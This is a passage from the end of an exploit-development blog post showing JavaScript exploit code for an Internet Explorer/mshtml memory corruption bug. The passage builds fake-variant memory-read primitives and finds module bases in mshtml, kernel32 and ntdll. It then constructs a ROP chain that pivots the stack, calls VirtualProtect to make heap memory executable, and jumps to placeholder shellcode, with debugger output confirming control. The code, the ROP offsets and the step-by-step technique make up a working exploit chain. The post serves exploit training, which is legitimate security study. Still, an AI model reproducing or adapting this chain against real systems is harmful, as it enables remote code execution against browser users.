              //Freeing this will add the misaligned address to the OLEAUT32 cache, but the address is still marked as busy in the heap manager
              mem[j].setAttribute("attr" + i, null)

              // This will make the 0x90 allocation available again
              FakeLFH.coords = null;

              //now we occupy a 0x90 sized allocation.
              AlteredBody.leftMargin = 2;
              AlteredBody.setAttribute('extra', 1);

              // create a few strings containing the correct data. The 2nd one will actually overwrite the attribute data. Has to do with the way we create our strings.
              for(k = 0; k < NumCached; k++) {
                FakeLFH.setAttribute("re-use" + k, newdata);
              }

              //Start reading memory.
              mshtmlBase = getModuleBase(VariantAnchor, AlteredBody, mshtmlAddress)
              kernel32 = getImportedModule(VariantAnchor, AlteredBody, mshtmlBase, "kernel32.dll");
              ntdll = getImportedModule(VariantAnchor, AlteredBody, kernel32, "ntdll.dll");

              alert("mshtml base at 0x" + mshtmlBase.toString(16) + "nkernel32 base at 0x" + kernel32.toString(16) + "nntdll base at 0x" + ntdll.toString(16));

              //Time to bypass DEP with the information we learned.
              //ROP chain goes here, stack pivot at offset 0x18. mov ecx, [eax]; call [ecx+0x18];
              //Annoying thing is that we cant just do 'xchg eax, esp ; retn' because we need the value of ecx to be at [eax]
              //I couldnt find a realy clean way to mov ecx into esp. so the end result is somewhat dirty but effective. See below.
              //We like to know the heap address of the ROP chain before we create the ROP chain so it can containing its own address
              //There are only a few ways to allocate memory that you can actually alter without causeing the allocation to be freed and recreated (this happens with almost all strings)
              //Using the image data will work.
              ctx = document.createElement('canvas').getContext('2d');
              img = ctx.createImageData(0x100, 1); //that should be enough for now
              VariantAnchor.setAttribute('ropchain', img)

              //grab the location of the image data from the VariantAnchor Attribute table. (((VariantAnchor+10)+8)+28)+2C)
              roploc = readDword(VariantAnchor, AlteredBody, VariantAnchorAddress + 0x10)
              roploc = readDword(VariantAnchor, AlteredBody, roploc + 0x8)
              roploc = readDword(VariantAnchor, AlteredBody, roploc + 0x28)
              roploc = readDword(VariantAnchor, AlteredBody, roploc + 0x2C)
              alert("Location of ROP Chain = 0x" + roploc.toString(16));

              //Setting up the ROP chain
              createRopChain(img, roploc, kernel32, ntdll);

              //Using a VariantType 0x09 Dispatch will trigger a call [ecx+18] with ECX taken from our fake variant data.
              VariantAnchor.coords = 0x00010009 + "," + 1 + "," + roploc + "," + 1;
              AlteredBody.getAttribute('extra')();

            }
            if(Found) break; //prevent crash from overwritten string size
          }
          if(Found) break; //prevent crash from overwritten string size
        }
      }

      function getModuleBase(a, f, b) {
        //look for word value MZ at every 0x10000 byte downwards
        b = b & 0xFFFF0000
        d = readWord(a, f, b)
        while(d != 0x5a4d) {
          b -= 0x10000;
          d = readWord(a, f, b)
        }
        return b;
      }

      function getImportedModule(a, f, base, modName) {
        //some shortcuts taken here, but MS modules all behave nicely when it comes to PE headers so should be fine for those modules.
        e_lfanew = readWord(a, f, base + 0x3C)
        importTable = readDword(a, f, base + e_lfanew + 0x80)
        var i = 0;
        while(i < 10) { //only parsing 10 imported modules, change this if you need something more exotic
          //read up on PE File headers if you wonder whats going on here.
          moduleNameAddr = readDword(a, f, base + importTable + (i * 0x14) + 0xC)
          moduleName = readString(a, f, base + moduleNameAddr);
          moduleName = moduleName.toLowerCase();
          if(moduleName == modName.toLowerCase()) {
            importRVA = readDword(a, f, base + importTable + (i * 0x14) + 0x10);
            SomeFunctionAddr = readDword(a, f, base + importRVA);
            ModBase = getModuleBase(a, f, SomeFunctionAddr)
            return ModBase
          }
          i += 1;
        }
        return;
      }

      function readDword(a, f, addr) {
        //Variant type 0x13 with 0x4000 being 'ByRef'
        //Setting up the fake Variant values
        //XXXX4013 YYYYYYYY DATAPTR YYYYYYYY
        a.coords = 0x00014013 + "," + 1 + "," + addr + "," + 1;
        return parseInt(f.getAttribute('extra'));
      }

      function readWord(a, f, addr) {
        //Variant type 0x12 with 0x4000 being 'ByRef'
        a.coords = 0x00014012 + "," + 1 + "," + addr + "," + 1;
        return parseInt(f.getAttribute('extra'));
      }

      function readString(a, f, addr) {
        // For some reason we cant convert an 0x1F variant type to type 0x8 (used in javascript) so we will just read it as UI4 and convert from there.
        done = false
        result = '';
        while(!done) {
          a.coords = 0x00014013 + "," + 1 + "," + addr + "," + 1;
          val = parseInt(f.getAttribute('extra'));
          //should give us 4 bytes.
          for(i = 0; i < 4; i++) {
            bytecode = (val >> (i * 8)) & 0xFF;
            if(bytecode == 0) {
              done = true;
              break;
            }
            else {
              result += String.fromCharCode(bytecode);
            }
          }
          addr += 4;
        }
        return result;
      }

      function createRopChain(imgd, address, kernel32, ntdll) {
        data = imgd.data;
        writeDword(imgd, 0, address - 0x14)  // mov ecx, [eax] //this frustrates our stack pivot slightly. Or we should pivot on ECX
                                             // control comes through call [ecx+0x18]
        writeDword(imgd, 0x4, ntdll + 0x550C8);// xchg eax,esp ; add [eax],eax ; pop edi ; pop esi ; pop ebp ; retn 0x0C
        writeDword(imgd, 0xC, kernel32 + 0x110c8); // VirtusalProtect (you should look this up in the export table, not use hard coded stuff. Same goes for pivot.)
        writeDword(imgd, 0x1C, address + 0x30); // retn address after VirtualProtect
        writeDword(imgd, 0x20, address); // address parameter for VirtualProtect
        writeDword(imgd, 0x24, 0x4000); // size parameter
        writeDword(imgd, 0x28, 0x40); // RWX protect
        writeDword(imgd, 0x2c, address + 0x8); // Can safely write here
        writeDword(imgd, 0x30, 0xCCCCCCCC); // Shellcode ...
      }

      function writeDword(imgd, offset, value) {
        data = imgd.data;
        data[offset + 0] = value & 0xFF
        data[offset + 1] = value >> 8 & 0xFF
        data[offset + 2] = value >> 16 & 0xFF
        data[offset + 3] = value >> 24 & 0xFF
      }

    </script>
  </head>
  <body onload="loaded();">
    <input value="mydata" type="text"></input>
  </body>
</html>

Running this should give you

(914.1f4): Break instruction exception - code 80000003 (first chance)
eax=00000001 ebx=00000000 ecx=446f0000 edx=0275e148 esi=772350c8 edi=161b985c
eip=161b98a0 esp=161b98a0 ebp=00000000 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
161b98a0 cc              int     3
1:020> !address esp
Usage:                  Heap
Base Address:           161b9000
End Address:            161be000
Region Size:            00005000
State:                  00001000	MEM_COMMIT
Protect:                00000040	PAGE_EXECUTE_READWRITE
Type:                   00020000	MEM_PRIVATE
Allocation Base:        16160000
Allocation Protect:     00000004	PAGE_READWRITE
More info:              heap owning the address: !heap 0x160000
More info:              heap segment
More info:              heap entry containing the address: !heap -x 0x161b98a0

11-shellcode

We have done it! Increment a single byte of memory and we own the whole process!

There are other ways, and my plan was to write up another one, but given the length of this blog I doubt many people make it all the way to the end without falling asleep so I’m keeping it at just this.
If you enjoy this type of exploitation and want to learn more our Vulnerability Development Master Course contains among other things a section on advanced browser exploitation.

– Peter Vreugdenhil / @WTFuzz